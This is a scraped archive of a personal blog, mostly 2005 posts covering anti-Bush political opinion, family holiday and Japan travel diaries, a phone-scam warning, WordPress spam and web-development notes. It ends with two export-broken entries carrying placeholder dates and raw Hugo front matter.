I am excited to hear about the possible investigation for the impeachment of Bush (I’ve been calling for it for a while). Too bad it’s not something that I am hearing much about – you all? No? You’d think the investigation for presidential impeachment might be discussed on the evening news, eh? Kind of big news… it sure was when it was discussed as a possibility for Clinton. But not for Bush (yet).

attempt at positive spin on mountaintop removal

Fri, 30 Dec 2005 19:39:37 +0000

Phil sent me a link to the article [Appalachian town mining for land] which is talking about the removal of mountains by a coal mining company as a positive thing… to some it may well be – but as coal mining companies are notorious for their environmental horrors, and as we are already starting to “run low” on mountains that have been created (tectonically) for thousands of years — perhaps people ought to think about keeping their mountains around as long as they can (which is basically until a mining company finds something they want in said mountain).

2005 Holiday trip – chapter 2 – Houston

Wed, 28 Dec 2005 03:09:50 +0000

I spent many full and well populated days in Houston. Anita and I spent nights at various family houses, ate some of the best food we had eaten all year, and most importantly – got to spend good time with our family together. Here are some of the highlights: Great quality time with family (can’t mention it enough – strange that just spending time is so important, so simple, and so rare) Got to meet Scott’s girlfriend, Ilah (ee-lah) Good but sad visits with my grandmother [Penny][1] (aka Grandma’ Penny) Games played : rummykub, canasta, hearts, pictionary, balderdash, ping pong (I won at ping-pong and sometime I won at canasta, but lost everything else) Food, food, and food (including some [mango salsa][2] I made, which everyone appeared to appreciate) Ikea blitz – a 1 hour run through ikea resulting in a total bill of less than $150 for Anita and myself (incredible for us consumer sheep) One of the important parts which gets a bit of a review is my visit with my grandmother “Penny”, who has [Alzheimer’s][3].

2005 Holiday trip – chapter 1 – to Houston

Wed, 21 Dec 2005 18:27:19 +0000

So, when flying to Houston, early on Monday the 19th of December I ran into a slight problem. I went through security without issue, and my laptop bag had to go through… and I overheard security people being called over, waited, and heard a couple of other security people being called over. About this time I get nervous and soon overhear something I would rather not have heard. Apparently, I had forgotten that I had put some gifts in my laptop bag, that I got for people at work in Japan… They were very unimpressive, unassuming, decoration-only, ummm, throwing stars.

scam notice

Thu, 08 Dec 2005 20:18:02 +0000

I got a phone call today, supposedly from DomainRegistry.com. Unfortunately, though suspicious, I did provide my street address… I resisted, but he read it off to me, and I confirmed it… what are you gonna do? Also, I suppose he knows my phone number, since he called me on it. Then he gave me the 800 number 800-591-7398 (8005917398) as a number to find out more about what they are offering.

death penalty and prisons… we call ourselves civilized?

Fri, 02 Dec 2005 06:20:14 +0000

1000th “Death Penalty” murder since reinstating in 1976 Doesn’t it seem strange to be killing people for killing people? I am aware that there are people that are dangerous enough to never let back into the population, but it seems hypocritical to kill them… Aside from the people who are significant dangers to our society, prisons should generally be cleared out a lot. We are a nation built on and ruled by fear.

blog comment spam is the devil

Thu, 01 Dec 2005 03:26:15 +0000

Anyone else getting a flood of blog comment spam recently? WordPress is awesome enough to catch all of it as probably spam and put it into a moderation queue for me, but I still had 80+ comments to delete in the past week… and I have to be careful not to delete a non-spam comment… not a good situation. So I looked into plug-ins for WordPress and found a few, but the one I liked the most is called bad behavior.

Thanksgiving

Thu, 24 Nov 2005 21:56:49 +0000

Here is my requisite turkeyday post. Anita had to work her last day today, so we are in Columbus still. She plans on not working until this summer. I’ve been encouraging her to do this… though her ~10 hours of work a week doesn’t sound like much, since she does ~60 hours a week of school work – a few extra hours to relax would be welcome. We will be driving to Louisville tonight after anita is off work.

New template for za

Mon, 21 Nov 2005 07:44:17 +0000

So – the new template is up on zeroasterisk. Not only does it look different right now – this template is setup to be controlled by CSS, so I’ll be providing options on how to view the site. Until I offer those options (look in the top right hand corner of the page for them) you’ll have to make due with this one. Also, I’ve updated to gallery 2 and mediawiki… The wiki update means little to any users, but the gallery update may effect anyone who uses my gallery.

frappr – lets see who actually does this

Thu, 10 Nov 2005 06:41:00 +0000

There is a beta of a site that allows anyone to create a group, and people can add themselves / photos to it, and where they are at… it uses google maps API to plot the photos on a map… really neat stuff in my opinion… so anyone who wants to spend 2 minutes to see if they are even mildly impressed / interested / entertained… go to http://www.frappr.com/zeroasterisk and “add yourself”.

secrets are stupid, and so is the Kansas board of Education

Wed, 09 Nov 2005 08:00:42 +0000

After reading the article: CIA prisons leak ‘to be probed’, I was overcome one specific emotion: unease (fear)… The fact that there are secret prisons and nobody knows about them scares the hell out of me. Basically, if I was taken to prison for thinking our current government sucks (or for being too cynical or too naive), I would want people to know about it… and hopefully make a fuss… you know… maybe get to talk to a lawyer and not be tortured.

Columbus War Protest March on Sat Nov 5th

Fri, 04 Nov 2005 19:08:33 +0000

Anyone wanna come march to protest the war in iraq? I’ll be there, and so will phil… Memorial to be Held in Support of Troop Withdrawal from Iraq Columbus OH Saturday, November 5 The OSU student peace advocacy group AntiWar Columbus will be demonstrating in support of troop withdrawal from Iraq at the Gallery Hop in the Short North area from 8 PM 11 PM on Saturday November 5th. Students will assemble at the Gazebo in Goodale Park at 7:30 PM and march to the intersection of Buttles Ave.

PHP (good) news

Thu, 03 Nov 2005 17:43:13 +0000

My boss just sent me a link to the following article: PHP catching on at enterprises, vying with Java Not only is it cool my boss sent it to me, but the content of the article is great news for anyone who is a fan of PHP… (and anyone who doesn’t know if they are or not, I very much am… so if you can’t form your own opinion on the topic, you may borrow mine) As more and more businesses realize the power, flexibility, and simplicity of PHP – as it comes into the mainstream more and more – I get more chances to work with it, teach friends about it, get paid to build stuff with it… etc.

ultimate in the cold rain

Fri, 21 Oct 2005 07:01:44 +0000

I played ultimate frisbee today, one of the last evening games of the year. It’s been getting dark earlier every week and now we have to stop playing around 7:15… when you start at 6:00 of after, that’s really frustrating. What might have been frustrating was that it was cold and rainy today, starting to be really ugly right about the time we started playing… but it wasn’t frustrating at all.

google says : failure = bush, incompetent = bush…

Fri, 21 Oct 2005 03:41:14 +0000

One more quick note: I was doing the Google “feeling lucky” thing, where you enter a word like “failure” and it gives your it’s best result… Well, for the word “failure” it isn’t random, it’s… well… funny, appropriate, sad… Biography of President George W. Bush. Anyway, so I tried again, I entered “incompetent” and hit “I’m feeling lucky”… and I got The President as Incompetent Liar. I read this article, BTW, and it is very well done, I think.

for a good time… read banterist.com

Thu, 20 Oct 2005 06:29:33 +0000

Call me a content theif, but I just can’t think of anything better to post here than some recent posts from Brian Sack’s blog www.banterist.com. Shopping for God Brian’s old leather pants auction (news article) (auction) Backwards Swastika Brand Vegetarian Barbecue Sauce (my eyes are still watery from this one) and more… Now playing: Interpol – [Antics – Not Even Jail][7] [7]: http://phobos.apple.com/WebObjects/MZSearch.woa/wa/advancedSearchResults?songTerm=Antics - Not Even Jail&artistTerm=Interpol

The World Can’t Wait – lets do something

Tue, 18 Oct 2005 08:20:41 +0000

The World Can’t Wait – a site promoting active options for ridding ourselves of the current blight named G. W. Bush.

Sculpture appeals

Wed, 12 Oct 2005 02:34:59 +0000

I just heard from my good friend (and former employer) Dave Caudill and got up to speed on his recent newsletters. I’m glad to see he’s still making great art and getting it out in the world… It’s also nice to hear the human side of the story, about the places he visits, what he sees, and often what he eats… The most appealing of these recent travels, for me, is the Grounds for Sculpture in Hamilton, New Jersey (

Web News of the day

Mon, 26 Sep 2005 15:01:44 +0000

Sporting Events cause a drop in ER visits Ok, this is kindof rediculous… Apparently, Americans put off their emergency room visits, or just don’t have as many problems, during major sporting events. I can understand being into sports, but that seems unreal. Helicopters Scour Louisiana Floodwaters (Rita Aftermath) People checking their hurricane-hit homes and towns returned with stories of flooding to the rooftops, coffins and refrigerators bobbing in the water, and stilts where their houses once stood.

za1 theme in development

Mon, 26 Sep 2005 06:42:41 +0000

I’ve been working on a comprehensive theme, currently called za1 (very exciting name, eh?). I will be mapping the components of my site into that theme (instead of hacking the themes of the components of my site to look kindof like each other). The themes are driven primarily by CSS, and done in such a way as to allow simple variations in how things should look… there will be an “options” selector on the top-right and it will allow you to easily choose theme options and it saves your options as a cookie (if you allow the cookie) or session variables if your don’t allow the cookies.

Rita Update & Anit-War Protest Story

Sat, 24 Sep 2005 16:02:20 +0000

Rita Update: Rita, as a Category 3 hurricane (120 mph) made landfall at 2:30 a.m. CDT today in extreme southwest Louisiana between Sabine Pass and Johnson’s Bayou, La. Port Arthur, Texas, clocked maximum wind gusts of 116 mph, while Beaumont, Texas, measured 105 mph. Cameron, La., reported a gust to 112 mph before the anemometer failed. Storm surge flooding of up to 15 feet probably occured just east of where the eye thundered ashore.

Creationists on the move, apparently

Thu, 22 Sep 2005 02:37:20 +0000

Challenged by Creationists, Museums Answer Back (sorry, the link requires login) Apparently, after a few rather agressive (not phiscally) confrontations with creationists, in science museums – docents and volunteers are flocking to training on how to best respond to such challenges. “The goal is to understand the controversies, so that people are better able to handle them as they come up,” she said. “Museums, as a field, have recognized we need to take a more proactive role in evolution education.

Clinton speaks out against Bush

Mon, 19 Sep 2005 02:31:09 +0000

Clinton launches withering attack on Bush on Iraq, Katrina, budget Breaking with tradition under which US presidents mute criticisms of their successors, Clinton said the Bush administration had decided to invade Iraq “virtually alone and before UN inspections were completed, with no real urgency, no evidence that there were weapons of mass destruction.” … “What Americans need to understand is that … every single day of the year, our government goes into the market and borrows money from other countries to finance Iraq, Afghanistan, Katrina, and our tax cuts,” he said.

Legal rights? What legal rights?

Mon, 12 Sep 2005 14:33:53 +0000

September 9th, it was ruled that Jose Padilla was still not to be given fair trial, in fact not to be charged with a crime nor to be given legal council. It’s the first time this has ever happened in the US court system (to my knowledge)… Even actual “enemy combatants” in our previous wars, captured on the battlefield all got lawyers and full legal procedings. Our courts were used, to verify and justify and validate.

Post Labor Day & and an interesting story

Tue, 06 Sep 2005 15:52:22 +0000

Saturday Anita had to work, but Phil, Sarah, Jess, and Phil’s friend Tom came over and played Mao [1]2. It’s a great game – and surprisingly effective at bringing about a represive dictatorial feel in the players (who thought that could be so much fun?). We played a variant where after winning 3 rounds you could make up your own rule… my personal favorite was (my rule): you have to use rapper hands whenever you call penalty on someone.

katrina disaster = really sad | space elevator = good

Fri, 02 Sep 2005 00:45:38 +0000

Katrina It’s a huge disaster. Everyone is probably aware of that. To put it in perspective, it’s [Katrina It’s a huge disaster. Everyone is probably aware of that. To put it in perspective, it’s]2 many other natural and un-natural disasters other countries or even this country has had to deal with (or cause)… but it’s still really bad. [the worst hurricanes] So, we use this as an opportunity to blame other people and talk about who should have done what and why we weren’t prepaired and aren’t handling the situation well now [link].

CTF was fun and Google is still the hotness

Wed, 24 Aug 2005 16:09:24 +0000

So – Capture the Flag was a lot of fun. We played at the Park of Roses on August 21 2005 (after sundown). We had 9 people show and had a great time, though we were out classed severely by some “in shape” players. I’m hoping to end up with more people in a bigger area for the next game on September 9th (friday) at an unknown location. Google is incredible.

Vat Grown Stem Cells

Wed, 24 Aug 2005 00:52:59 +0000

Recent News: Skin Cells Converted to Stem Cells which means we have “starter cells” for transplants and the like and don’t have to worry about the moral issues raised from using the tissues of aborted fetuses (feti?). [Bush’s statement on this] I’ve heard of this before, though… In fact, in a previous article from the Washing Post. My question really is, what is the quantity we are talking about? If we could produce enough stem cells to generate real tissues, doesn’t that kinda sound like vat grown replacement parts….

IE is horrible, use firefox

Sat, 20 Aug 2005 20:14:12 +0000

IE is horrible, use firefox or Mozilla… or just go to Linux and use the big K. Yet again… nasty trojans auto-install through IE Security Shortcommings get firefox

Nothing too intersting

Tue, 09 Aug 2005 06:16:10 +0000

I don’t have anything interesting going on right now, so here’s some of the stuff going on in the world today (that I was interested in): techie stuff Google snubs tech news outlet CNET – Google CEO got “googled” and is upset about the demonstration of people’s complain at all the personal information readily available… It’s just that the info is so easy to get at… (personally, that doesn’t bother me – information is simply information, not all of it is true but whatever is, should be available… in my ideal world there would be no need to worry about privacy concerns… too bad we’re not there yet.

Fukushima to Kyoto (relaxing day)

Fri, 22 Jul 2005 02:55:59 +0000

We finished packing for a couple of hours and then took way too much stuff down to the Koori-Machi train station. We caught the 15 minute train to Fukushima and stuffed our packs into lockers at the train station there. (Except my pack, which wouldn’t fit in any of the lockers) We then went to the 100 Yen store – the Japanese equivalent of the $1.00 store, but much, much cooler.

Many Mountains, One Castle

Mon, 18 Jul 2005 13:04:06 +0000

This morning we ate fruit, cereal, and granola before setting out for Mount Azuma. We took the Aizu Bandi Skyline (highway) for some beautiful but quite frightening driving in the mountains. A couple hours of hair-pin turns and sulfur smelling air later, we ended up at Mount Azuma. It’s a large (dormant?) volcano crater in the midst of a gorgeous mountain range. We walked around the crater, against some very serious winds.

Nikko is Nippon

Sun, 17 Jul 2005 23:38:22 +0000

Saturday we took a local train to Fukushima and ate lunch at our first Japanese restaurant… it was spectacular! It was a friend of a friend’s dad’s restaurant and we ended up being there 20 minutes before they opened, but they let us in and sat us by the window looking out onto their wonderful and very small garden. We had pork medallions and miso and cabbage salads and rice – I had a curry dish.

Haved arrived in Japan

Sat, 16 Jul 2005 00:07:12 +0000

24 hours, is a long time to travel. We flew to Chicago from Louisville, but got delayed on the runway in Louisville; so we had to run in Chicago to make it to our connecting flight to Tokyo… we made it though, and started our ~11.5 hour flight. The plane ride was fine, in that really long and tiring kinda way. We were good and stayed awake (mostly) in order to sync our sleep cycle with Japan which is almost exactly the opposite of our timezone.

japan trip – T minus 34 hours

Wed, 13 Jul 2005 03:12:19 +0000

All of the “final” preperations for the trip to Japan are (almost) complete. We are packed and will be going to Louisville on Wednesday night… then flying to japan Thursday morning – flying until sometime friday (Japan time) and the train’ing to April’s town… arriving sometime Friday night…. We are not looking forward to the travel time, but super excited about going. We have packed a hiking backpack apiece and books and music…

Education Reform and Our Collective Futures

Thu, 01 Jan 1970 00:00:00 +0000

2017 05 39 Why Wait To Adopt Hugo

Mon, 01 Jan 0001 00:00:00 +0000

+++ author = “alan” tags = [“nerd”, “wordpress”, “hugo”, “static site”, “go”] date = “2017-05-29T23:39:00-04:00” description = “Static Site Generation with Hugo - it is so freakin easy!” featured = "" featuredalt = "" featuredpath = "" linktitle = "" title = “Why wait? Adopt hugo for Static Site Generation” +++ Why… oh why… why did I wait so long? I’ve been talking about switching to a static site generator for years, since jekyllrb started gaining popularity.